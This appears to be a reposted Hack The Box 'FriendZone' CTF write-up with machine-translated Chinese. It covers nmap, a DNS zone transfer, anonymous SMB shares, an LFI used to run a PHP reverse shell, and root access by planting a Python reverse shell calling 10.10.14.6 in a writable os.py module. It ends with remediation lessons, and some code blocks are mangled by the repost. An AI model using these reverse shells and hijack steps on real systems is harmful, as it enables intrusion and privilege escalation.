破解盒子的友友文章wo metasploit

翻译

weixin_26636643 于 2020-08-24 11:45:49 发布 272 收藏
原文链接：https://medium.com/swlh/hack-the-box-friendzone-writeup-w-o-metasploit-fb52adc73c96

This is the 14th blog out of a series of blogs I will be publishing on retired HTB machines in preparation for the OSCP. The full list of OSCP like machines compiled by TJ_Null can be found here.

这是我将在退休的HTB计算机上发布的一系列博客中的第14个博客，以准备进行OSCP。 TJ_Null编译的类似OSCP的计算机的完整列表可以在这里找到。

Let's get started!

让我们开始吧！

侦察 (Reconnaissance)

First thing first, we run a quick initial nmap scan to see which ports are open and which services are running on those ports.

首先，我们运行一次快速的nmap初始扫描，以查看哪些端口已打开以及哪些服务正在这些端口上运行。

```
nmap -sC -sV -O -oA initial 10.10.10.123
```

-sC: run default nmap scripts

-sC ：运行默认的nmap脚本

-sV: detect service version

-sV ：检测服务版本

-O: detect OS

-O ：检测操作系统

-oA: output all formats and store in file *initial*

-oA ：输出所有格式并将其存储在文件*初始中*

We get back the following result showing that seven ports are open:

我们返回以下结果，显示七个端口处于打开状态：

Port 21: running ftp vsftpd 3.0.3

端口21：运行ftp vsftpd 3.0.3

Port 22: running OpenSSH 7.6p1 Ubuntu 4

端口22 ：运行OpenSSH 7.6p1 Ubuntu 4

Port 53: running ISC BIND 9.11.3–1ubuntu1.2 (DNS)

端口**53**：运行ISC BIND 9.11.3–1ubuntu1.2(DNS)

Ports 80 & 443: running Apache httpd 2.4.29

端口**80**和**443** ：运行Apache httpd 2.4.29

Ports 139 and 145: Samba smbd 4.7.6-Ubuntu

端口**139**和**145**： Samba Smbd 4.7.6-Ubuntu

```
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-15 21:19 EST
Nmap scan report for 10.10.10.123
Host is up (0.030s latency).
Not shown: 993 closed ports
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 3.0.3
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA)
|   256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA)
|_  256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519)
53/tcp  open  domain      ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid:
|_  bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Friend Zone Escape software
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open  ssl/http    Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 404 Not Found
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/country
| Not valid before: 2018-10-05T21:02:30
|_Not valid after:  2018-11-04T21:02:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|   http/1.1
...........
|_  http/1.1
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=11/15%OT=21%CT=1%CU=40251%PV=Y%DS=2%DC=I%G=Y%TM=5DCF5C
OS:FC%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=104%TI=Z%CI=I%II=I%TS=A)OP
OS:S(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST
OS:11NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)EC
OS:N(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)Network Distance: 2 hops
Service Info: Hosts: FRIENDZONE, 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelHost script res
|_clock-skew: mean: -48m45s, deviation: 1h09m16s, median: -8m46s
|_nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: friendzone
|   NetBIOS computer name: FRIENDZONE\x00
```

```
|   Domain name: \x00
|   FQDN: friendzone
|_  System time: 2019-11-16T04:11:17+02:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2019-11-15 21:11:17
|_  start_date: N/AOS and Service detection performed. Please report any incorrect results at https://nmap.
Nmap done: 1 IP address (1 host up) scanned in 68.10 seconds
```

Before we start investigating these ports, let's run more comprehensive nmap scans in the background to make sure we cover all bases.

在开始研究这些端口之前，让我们在后台运行更全面的nmap扫描，以确保我们涵盖所有基础。

Let's run an nmap scan that covers all ports.

让我们运行一个覆盖所有端口的nmap扫描。

```
nmap -sC -sV -O -p- -oA full 10.10.10.123
```

We get back the following result. No other ports are open.

我们得到以下结果。 没有其他端口打开。

```
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-15 21:26 EST
Nmap scan report for 10.10.10.123
Host is up (0.030s latency).
Not shown: 65528 closed ports
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 3.0.3
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA)
|   256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA)
|_  256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519)
53/tcp  open  domain      ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid:
|_  bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Friend Zone Escape software
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open  ssl/http    Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 404 Not Found
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/country
| Not valid before: 2018-10-05T21:02:30
|_Not valid after:  2018-11-04T21:02:30
|_ssl-date: TLS randomness does not represent time
```

```
| tls-alpn:
|   http/1.1
.........
|_  http/1.1
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=11/15%OT=21%CT=1%CU=31322%PV=Y%DS=2%DC=I%G=Y%TM=5DCF5E
OS:C4%P=x86_64-pc-linux-gnu)SEQ(SP=FB%GCD=1%ISR=102%TI=Z%CI=I%II=I%TS=A)SEQ
OS:(SP=FB%GCD=1%ISR=102%TI=Z%CI=I%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3
OS:=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=7
OS:120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW
OS:7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF
OS:=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=
OS:%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=
OS:0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RI
OS:PCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)Network Distance: 2 hops
Service Info: Hosts: FRIENDZONE, 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelHost script res
|_clock-skew: mean: -48m45s, deviation: 1h09m16s, median: -8m46s
|_nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: friendzone
|   NetBIOS computer name: FRIENDZONE\x00
|   Domain name: \x00
|   FQDN: friendzone
|_  System time: 2019-11-16T04:18:54+02:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2019-11-15 21:18:54
|_  start_date: N/AOS and Service detection performed. Please report any incorrect results at https://nmap.
Nmap done: 1 IP address (1 host up) scanned in 119.93 seconds
```

Similarly, we run an nmap scan with the **-sU** flag enabled to run a UDP scan.

同样，我们运行启用**-sU**标志的nmap扫描以运行UDP扫描。

```
nmap -sU -O -p- -oA udp 10.10.10.123
```

I managed to root the box and write this blog while the UDP scan did not terminate. So instead I ran a scan for the top 1000 ports.

当UDP扫描未终止时，我设法使该框成为根目录并撰写了此博客。 因此，我扫描了前1000个端口。

Image for post

Two ports are open.

两个端口是开放的。

Port 53: running DNS

端口53：运行DNS

Port 137: running SMB

端口137：运行SMB

Before we move on to enumeration, let's make a few mental notes about the nmap scan results.

在继续进行枚举之前，让我们对nmap扫描结果进行一些心理记录。

1. The -sC flag checks for anonymous login when it encounters an FTP port. Since the output did not include that anonymous login is allowed, then it's likely that we'll need credentials to access the FTP server. Moreover, the version is 3.0.3 which does not have any critical exploits (most FTP exploits are for version 2.x). So FTP is very unlikely to be our point of entry.
   -sC标志在遇到FTP端口时检查匿名登录。 由于输出未包括允许匿名登录的信息，因此可能需要凭据才能访问FTP服务器。 此外，该版本为3.0.3，没有任何关键漏洞利用(大多数FTP漏洞针对2.x版)。 因此，FTP不太可能成为我们的切入点。

2. Similar to FTP, there isn't many critical exploits associated with the version of SSH that is being used, so we'll need credentials for this service as well.
   与FTP相似，正在使用的SSH版本没有很多关键的漏洞利用，因此我们也需要此服务的凭据。

3. Port 53 is open. The first thing we need to do for this service is get the domain name through nslookup and attempt a zone transfer to enumerate name servers, hostnames, etc. The ssl-cert from the nmap scan gives us the common name friendzone.red. This could be our domain name.
   端口53打开。 我们需要为此服务做的第一件事是通过nslookup获取域名，然后尝试进行区域传输以枚举名称服务器，主机名等。nmap扫描中的ssl-cert为我们提供了通用名称Friendzone.red。 这可能是我们的域名。

4. Ports 80 and 443 show different page titles. This could be a virtual hosts routing configuration. This means that if we discover other hosts we need to enumerate them over both HTTP and HTTPS since we might get different results.
   端口80和443显示不同的页面标题。 这可能是虚拟主机路由配置。 这意味着，如果我们发现其他主机，则需要通过HTTP和HTTPS枚举它们，因为我们可能会得到不同的结果。

5. SMB ports are open. We need to do the usual tasks: check for anonymous login, list shares and check permissions on shares.
   SMB端口已打开。 我们需要执行常规任务：检查匿名登录，列出共享并检查共享权限。

We have so many services to enumerate!

我们有很多服务可供枚举！

枚举 (Enumeration)

I always start off with enumerating HTTP first. In this case both 80 and 443 are open so we'll start there.

我总是从首先枚举HTTP开始。 在这种情况下，80和443都是打开的，因此我们将从此处开始。

Ports 80 & 443

端口80和443

Visit the site on the browser.

在浏览器上访问该网站。

Image for post

We can see the email is info@friendzoneportal.red. The friendzoneportal.red could be a possible domain name. We'll keep it in mind when enumerating DNS.

我们可以看到电子邮件是info@friendzoneportal.red。 friendzoneportal.red可能是域名。 枚举DNS时，请牢记这一点。

View the source code to see if we can find any other information.

查看源代码以查看是否可以找到其他信息。

Nope. Next, run gobuster to enumerate directories.

不。 接下来，运行gobuster枚举目录。

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.123
```

We get back the following result.

我们得到以下结果。

The /wordpress directory doesn't reference any other links. So I ran gobuster on the /wordpress directory as well and didn't get anything useful.

/ wordpress目录未引用任何其他链接。 因此，我也在/ wordpress目录上运行了gobuster，并且没有得到任何有用的信息。

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.123/wordpress
```

Visiting the site over HTTPS (port 443) gives us an error.

通过HTTPS(端口443)访问站点会给我们带来错误。

Therefore, let's move on to enumerating DNS.

因此，让我们继续枚举DNS。

Port 53

港口53

Try to get a domain name for the IP address using nslookup.

尝试使用nslookup获取IP地址的域名。

```
nslookup
server 10.10.10.123
10.10.10.123
```

We don't get anything. However, we do have two possible domains from previous enumeration steps:

我们什么都没有。 但是，从前面的枚举步骤中我们确实有两个可能的领域：

- friendzone.red from the nmap scan, and

nmap扫描中的friendzone.red，以及

- friendzoneportal.red from the HTTP website
  HTTP网站上的friendzoneportal.red

Let’s try a zone transfer on both domains.

让我们尝试在两个域上进行区域传输。

```
# zone transfer command: host -l <domain-name> <dns_server-address>
host -l friendzone.red 10.10.10.123 > zonetransfer.txt
host -l friendzoneportal.red 10.10.10.123 >> zonetransfer.txt
```

Open to the zonetransfer.txt file to see if we got any subdomains.

打开zonetransfer.txt文件，看看我们是否有任何子域。

Add all the domains/subdomains in the /hosts/etc file.

在/ hosts / etc文件中添加所有域/子域。

```
10.10.10.123 friendzone.red friendzoneportal.red admin.friendzoneportal.red files.friendzoneportal.red impo
```

Now we start visiting the subdomains we found. Remember that we have to visit them over both HTTP and HTTPS because we’re likely to get different results.

现在，我们开始访问找到的子域。 请记住，我们必须同时通过HTTP和HTTPS访问它们，因为我们可能会得到不同的结果。

The following sites showed us particularly interesting results.

以下网站向我们展示了特别有趣的结果。

> https://admin.friendzoneportal.red/ and https://administrator1.friendzone.red/ have login forms.
>
> https://admin.friendzoneportal.red/和https://administrator1.friendzone.red/具有登录表单。
>
> https://uploads.friendzone.red/ allows you to upload images.
>
> https://uploads.friendzone.red/允许您上传图像。

I tried default credentials on the admin sites but that didn’t work. Before we run a password cracker on those two sites, let’s enumerate SMB. We might find credentials there.

我在管理网站上尝试了默认凭据，但这没有用。 在这两个站点上运行密码破解程序之前，让我们列举一下SMB。 我们可能在那里找到凭证。

Ports 139 & 445

139和445端口

Run smbmap to list available shares and permissions.

运行smbmap以列出可用的共享和权限。

```
smbmap -H 10.10.10.123
```

-H: host

-H：主机

We get back the following result.

我们得到以下结果。

Image for post

We have READ access on the general share and READ/WRITE access on the Development share. List the content of the shares.

我们对普通共享具有READ访问权限，而对开发共享具有READ / WRITE访问权限。 列出共享的内容。

```
smbmap -R -H 10.10.10.123
```

-R: Recursively list directories and files on all accessible shares

-R：递归列出所有可访问共享上的目录和文件

Image for post

The Development share does not contain anything, but the general directory has a file named creds.txt! Before we download the file, let's use smbclient to view more information about the shares.

开发共享不包含任何内容，但是常规目录中有一个名为creds.txt的文件！ 在下载文件之前，让我们使用smbclient查看有关共享的更多信息。

```
smbclient -L //10.10.10.123
```

-L: look at what services are available on a server

-L：查看服务器上可用的服务

Image for post

The extra information this gives us over smbmap is the Comment column. We can see that the files in the Files share are stored in /etc/Files on the system. Therefore, there's a good possibility that the files stored in the Development share (which we have WRITE access to) are stored in /etc/Development. We might need this piece of information in the exploitation phase.

通过smbmap提供给我们的其他信息是Comment列。 我们可以看到，文件共享中的文件存储在系统上的/ etc / Files中。 因此，很有可能将存储在开发共享中(我们具有WRITE访问权限)的文件存储在/ etc / Development中。 在开发阶段，我们可能需要这些信息。

Let's get the creds.txt file. First, login anonymously (without a password) into the general share.

让我们获取creds.txt文件。 首先，以匿名方式(无需密码)登录到常规共享。

```
smbclient //10.10.10.123/general -N
```

-N: suppresses the normal password prompt from the client to the user

-N：禁止从客户端到用户的普通密码提示

Image for post

Download the creds.txt file from the target machine to the attack machine.

将creds.txt文件从目标计算机下载到攻击计算机。

```
get creds.txt
```

View the content of the file.

查看文件内容。

```
cat creds.txt
```

We have admin credentials!

我们有管理员凭据！

```
creds for the admin THING:admin:WORKWORKHhallelujah@#
```

Try the credentials on FTP.

尝试使用FTP上的凭据。

Image for post

Doesn't work. Next, try SSH.

不起作用 接下来，尝试SSH。

Image for post

Also doesn't work. Next, try it on the https://admin.friendzoneportal.red/ login form we found.

也行不通。 接下来，在找到的https://admin.friendzoneportal.red/登录表单上尝试。

Image for post

Also doesn't work. Next, try the credentials on the https://administrator1.friendzone.red/ login form.

也行不通。 接下来，尝试使用https://administrator1.friendzone.red/登录表单上的凭据。

Image for post

We're in! Visit the /dashboard.php page.

我们进来了！ 访问/dashboard.php页面。

Image for post

It seems to be a page that allows you to view images on the site. We'll try to gain initial access through this page.

它似乎是一个页面，可让您查看站点上的图像。 我们将尝试通过此页面获得初始访问权限。

获得初步立足点 (Gaining an Initial Foothold)

The dashboard.php page gives us instructions on how to view an image. We need to append the following to the URL.

dashboard.php页面为我们提供了有关如何查看图像的说明。 我们需要将以下内容附加到URL。

```
?image_id=a.jpg&pagename=timestamp
```

Image for post

Let’s put that timestamp number in the pagename URL parameter. After we do that we no longer get a “Final Access timestamp…” message.

让我们将该时间戳记数字放入pagename URL参数中。 完成之后，我们将不再收到“最终访问时间戳…”消息。

During our enumeration phase, we found a URL https://uploads.friendzone.red/ that allows us to upload images. Let’s try and see if the images we upload there can be viewed through the dashboard page.

在枚举阶段，我们找到了一个URL https://uploads.friendzone.red/ ，该URL允许我们上传图像。 让我们尝试看看是否可以通过仪表板页面查看上传到那里的图像。

Image for post

When we successfully upload the image random.jpg we get a timestamp. Let’s use the image and timestamp on the dashboard page.

成功上传图像random.jpg时，将获得一个时间戳。 让我们在仪表板页面上使用图像和时间戳。

```
https://administrator1.friendzone.red/dashboard.php?image_id=random.jpg&pagename=1573957506
```

Image for post

Nope, it doesn’t find the image. Let’s move our focus to the pagename parameter. It seems to be running a timestamp script that generates a timestamp and outputs it on the page. Based on the way the application is currently working, my gut feeling is that it takes the filename “timestamp” and appends “.php” to it and then runs that script. Therefore, if this is vulnerable to LFI, it would be difficult to disclose sensitive files since the “.php” extension will get added to my query.

不，它找不到图像。 让我们将焦点移到pagename参数。 似乎正在运行一个时间戳脚本，该脚本生成一个时间戳并将其输出到页面上。 基于应用程序当前的工作方式，我的直觉是它将文件名“ timestamp”并附加“ .php”并运行该脚本。 因此，如果这容易受到LFI的影响，则由于“ .php”扩展名将添加到我的查询中，因此很难公开敏感文件。

Instead, let’s try first uploading a php file and then exploiting the LFI vulnerability to output something on the page. During the enumeration phase, we found that we have READ and WRITE permissions on the Development share and that it’s likely that the files uploaded on that share are stored in the location /etc/Development (based on the Comments column).

相反，让我们尝试首先上传一个php文件，然后利用LFI漏洞在页面上输出内容。 在枚举阶段，我们发现我们对Development共享具有READ和WRITE权限，并且该共享上载的文件很可能存储在/ etc / Development位置(基于Comments列)。

Let’s create a simple test.php script that outputs the string “It’s working!” on the page.

让我们创建一个简单的test.php脚本，该脚本输出字符串“ It's work！”。 在页面上。

```
<?php
echo "It's working!";
?>
```

Log into the Development share.

登录到开发共享。

```
smbclient //10.10.10.123/Development -N
```

Download the test.php file from the attack machine to the share.

将test.php文件从攻击机下载到共享。

```
put test.php
```

Test it on the site.

在现场进行测试。

```
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/test
```

Remember not to include the .php extension since the application already does that for you.

请记住不要包含.php扩展名，因为该应用程序已经为您完成了。

Perfect, it's working! The next step is to upload a php reverse shell. Grab the reverse shell from pentestmonkey and change the IP address and port configuration.

完美，正在运行！ 下一步是上传一个PHP反向Shell。 抓住pentestmonkey的反向外壳，然后更改IP地址和端口配置。

Upload it in the same manner as we did with the test.php file. Then setup a listener on the attack machine.

以与处理test.php文件相同的方式上载它。 然后在攻击机上设置一个侦听器。

```
nc -nlvp 1234
```

Execute the reverse shell script from the website.

从网站执行反向Shell脚本。

```
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/php-reverse-sh
```

We have a shell!

我们有壳！

Let's upgrade it to a better shell.

让我们将其升级到更好的外壳。

```
python -c 'import pty; pty.spawn("/bin/bash")'
```

This gives us a partially interactive bash shell. To get a fully interactive shell, background the session (CTRL+Z) and run the following in your terminal which tells your terminal to pass keyboard shortcuts to the shell.

这为我们提供了部分交互式的bash shell。 要获得完全交互式的外壳程序，请在会话(CTRL + Z)中后台运行，并在终端中运行以下命令，告诉您的终端将键盘快捷键传递给外壳程序。

```
stty raw -echo
```

Once that is done, run the command “fg” to bring netcat back to the foreground. Then use the following command to give the shell the ability to clear the screen.

完成后，运行命令“ fg”将netcat带回到前台。 然后，使用以下命令使Shell能够清除屏幕。

```
export TERM=xterm
```

Now that we have an interactive shell, let’s see if we have enough privileges to get the user.txt flag.

现在我们有了一个交互式外壳，让我们看看我们是否有足够的特权来获取user.txt标志。

```
cat home/friend/user.txt
```

Image for post

We need to escalate privileges to get the root flag.

我们需要升级特权以获取根标志。

特权提升 (Privilege Escalation)

We have rwx privileges on the /etc/Development directory as www-data. So let’s upload the LinEnum script in the Development share.

我们在/ etc / Development目录中具有www-data的rwx特权。 因此，让我们在“开发”共享中上载LinEnum脚本。

```
put LinEnum.sh
```

In the target machine, navigate to the /etc/Development directory.

在目标计算机上，导航到/ etc / Development目录。

```
cd /etc/Development/
```

Give the script execute permissions.

授予脚本执行权限。

```
chmod +x LinEnum.sh
```

I don’t seem to have execute permissions in that directory, so I’ll copy it to the tmp directory.

我似乎在该目录中没有执行权限，因此将其复制到tmp目录中。

```
cp LinEnum.sh /tmp/
```

Navigate to the /tmp directory and try again.

导航到/ tmp目录，然后重试。

```
cd /tmp/
chmod +x LinEnum.sh
```

That works, so the next step is to execute the script.

那行得通，所以下一步就是执行脚本。

```
./LinEnum.sh
```

The results from LinEnum don't give us anything that we could use to escalate privileges. So let's try pspy. If you don't have the script, you can download it from the following github repository.

LinEnum的结果没有给我们提供任何可用于提升特权的东西。 因此，让我们尝试pspy。 如果没有该脚本，则可以从以下github存储库下载该脚本。

```
https://github.com/DominicBreuker/pspy
```

Upload it and run it on the attack machine in the same way we did for LinEnum.

上载它并以与LinEnum相同的方式在攻击机上运行它。

After a minute or two we see an interesting process pop up.

一两分钟后，我们看到一个有趣的过程弹出。

Image for post

It seems that the reporter.py script is getting executed every couple of minutes as a scheduled task. Let's view the permissions we have on that file.

似乎Reporter.py脚本作为计划任务每隔几分钟执行一次。 让我们查看我们对该文件的权限。

```
ls -la /opt/server_admin/
```

Image for post

We only have read permission. So let's view the content of the file.

我们只有阅读权限。 因此，让我们查看文件的内容。

```
cat /opt/server_admin/reporter.py
```

Here's the soure code of the script.

这是脚本的原始代码。

```
#!/usr/bin/pythonimport osto_address = "admin1@friendzone.com"
from_address = "admin2@friendzone.com"print "[+] Trying to send email to %s"%to_address#command = ''' mails
# Sam ~ python developer
```

Most of the script is commented out so there isn't much to do there. It does import the os module. Maybe we can hijack that. Locate the module on the machine.

大多数脚本已被注释掉，因此没有太多要做。 它确实导入os模块。 也许我们可以劫持。 在机器上找到模块。

```
locate os.py
```

Navigate to the directory and view the permissions on the file

导航到目录并查看文件权限

```
cd /usr/lib/python2.7
ls -la | grep os.py
```

We have rwx privileges on the os.py module! This is obviously a security misconfiguration. As a non-privileged user, I should only have read access to the script. If we add a reverse shell to the script and wait for the root owned scheduled task to run, we'll get back a reverse shell with root privileges!

我们在os.py模块上具有rwx特权！ 显然，这是安全配置错误。 作为非特权用户，我应该只对该脚本具有读取权限。 如果我们向脚本添加反向外壳程序并等待根拥有的计划任务运行，我们将获得具有根特权的反向外壳程序！

I tried accessing the os.py script using vi but the terminal was a bit screwed up. Here's a way to fix it (courtesy of ippsec).

我尝试使用vi访问os.py脚本，但是终端有点混乱。 这是修复它的方法(由ippsec提供)。

Go to a new pane in the attack machine and enter the following command.

转到攻击机器中的新窗格，然后输入以下命令。

```
stty -a
```

We need to set the rows to 29 and the columns to 113. Go back to the netcat session and run the following command.

我们需要将行设置为29，将列设置为113。返回到netcat会话并运行以下命令。

```
stty rows 29 columns 113
```

Even after this, vi was still a bit glitchy, so instead, I decided to download the os.py module to my attack machine using SMB, add the reverse shell there and upload it back to the target machine.

即使在此之后，vi仍然有些故障，因此，我决定使用SMB将os.py模块下载到我的攻击计算机上，在其中添加反向外壳并将其上传回目标计算机。

Add the following reverse shell code to the bottom of the os.py file and upload it back to the target machine.

将以下反向Shell代码添加到os.py文件的底部，并将其上传回目标计算机。

```
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.14.6",1233));
dup2(s.fileno(),0);
dup2(s.fileno(),1);
dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
```

Setup a listener on the attack machine.

在攻击机上设置侦听器。

```
nc -nlvp 1233
```

Wait for the scheduled task to run the reporter.py script that will in turn call the os.py module which contains our reverse shell code.

等待安排好的任务运行report.py脚本，该脚本将依次调用os.py模块，该模块包含我们的反向Shell代码。

Image for post

We get back a shell running with root privileges! Grab the root.txt flag.

我们得到一个以root特权运行的shell！ 抓取root.txt标志。

Image for post

得到教训 (Lessons Learned)

To gain an initial foothold on the box we exploited six vulnerabilities.

为了获得立足点，我们利用了六个漏洞。

1. The ability to perform a zone transfer which allowed us to get a list of all hosts for the domain. To prevent this vulnerability from occurring, the DNS server should be configured to only allow zone transfers from trusted IP addresses. It is worth noting that even if zone transfers are not allowed, it is still possible to enumerate the list of hosts through other (not so easy) means.
   执行区域传输的能力使我们能够获取该域的所有主机的列表。 为防止发生此漏洞，DNS服务器应配置为仅允许从受信任IP地址进行区域传输。 值得注意的是，即使不允许区域传输，也可以通过其他(不太容易)方法枚举主机列表。

2. Enabling anonymous login to an SMB share that contained sensitive information. This could have been avoided by disabling anonymous / guest access on SMB shares.
   启用匿名登录到包含敏感信息的SMB共享。 可以通过禁用SMB共享上的匿名/来宾访问来避免这种情况。

3. If anonymous login was not bad enough, one of the SMB shares also had WRITE access on it. This allowed us to upload a reverse shell. Again, restrictions should have been put in place on the SMB shares preventing access.
   如果匿名登录还不够糟糕，则其中一个SMB共享也可以具有WRITE访问权限。 这使我们可以上传反向外壳。 同样，应该在SMB共享上设置限制以阻止访问。

4. Saving credentials in plaintext in a file on the system. This is unfortunately very common. Use a password manager if you’re having difficulty remembering your passwords.

将凭证以明文形式保存在系统上的文件中。 不幸的是，这很普遍。 如果您在记住密码时遇到困难，请使用密码管理器。

5. A Local File Inclusion (LFI) vulnerability that allowed us to execute a file on the system. Possible remediations include maintaining a white list of allowed files, sanitize input, etc.
本地文件包含(LFI)漏洞，使我们能够在系统上执行文件。 可能的补救措施包括维护允许文件的白名单，清理输入等。

6. Security misconfiguration that gave a web dameon user (www-data) the same permissions as a regular user on the system. I shouldn't have been able to access the user.txt flag while running as a www-data user. The system administrator should have conformed to the principle of least privilege and the concept of separation of privileges.
安全性错误配置使Web dameon用户(www-data)拥有与系统上常规用户相同的权限。 以www-data用户身份运行时，我不应该能够访问user.txt标志。 系统管理员应遵循最小特权原则和特权分离的概念。

To escalate privileges we exploited one vulnerability.

为了提升特权，我们利用了一个漏洞。

1. A security misconfiguration of a python module. There was a scheduled task that was run by root. The scheduled task ran a script that imported the os.py module. Usually, a regular user should only have read access to such modules, however it was configured as rwx access for everyone. Therefore, we used that to our advantage to hijack the python module and include a reverse shell that eventually ran with root privileges. It is common that such a vulnerability is introduced into a system when a user creates their own module and forgets to restrict write access to it or when the user decides to lessen restrictions on a current Python module. For this machine, we encountered the latter. The developer should have been very careful when deciding to change the default configuration of this specific module.
python模块的安全性配置错误。 有一个由root运行的计划任务。 计划的任务运行了一个脚本，该脚本导入了os.py模块。 通常，普通用户只应具有对此类模块的读取访问权限，但是将其配置为所有人的rwx访问权限。 因此，我们利用它的优势来劫持python模块，并包含一个最终以root特权运行的反向shell。 当用户创建自己的模块而忘记限制对该模块的写访问权，或者当用户决定减少对当前Python模块的限制时，通常会将这种漏洞引入系统。 对于这台机器，我们遇到了后者。 在决定更改此特定模块的默认配置时，开发人员应该非常小心。

结论 (Conclusion)

14 machines down, 33 more to go (if you're wondering why the number of machines increased, it's because TJ_Null recently updated the list)!

减少了14台计算机，还有33台(如果您想知道为什么增加计算机数量，这是因为TJ_Null最近更新了列表)！

Image for post

翻译自: https://medium.com/swlh/hack-the-box-friendzone-writeup-w-o-metasploit-fb52adc73c96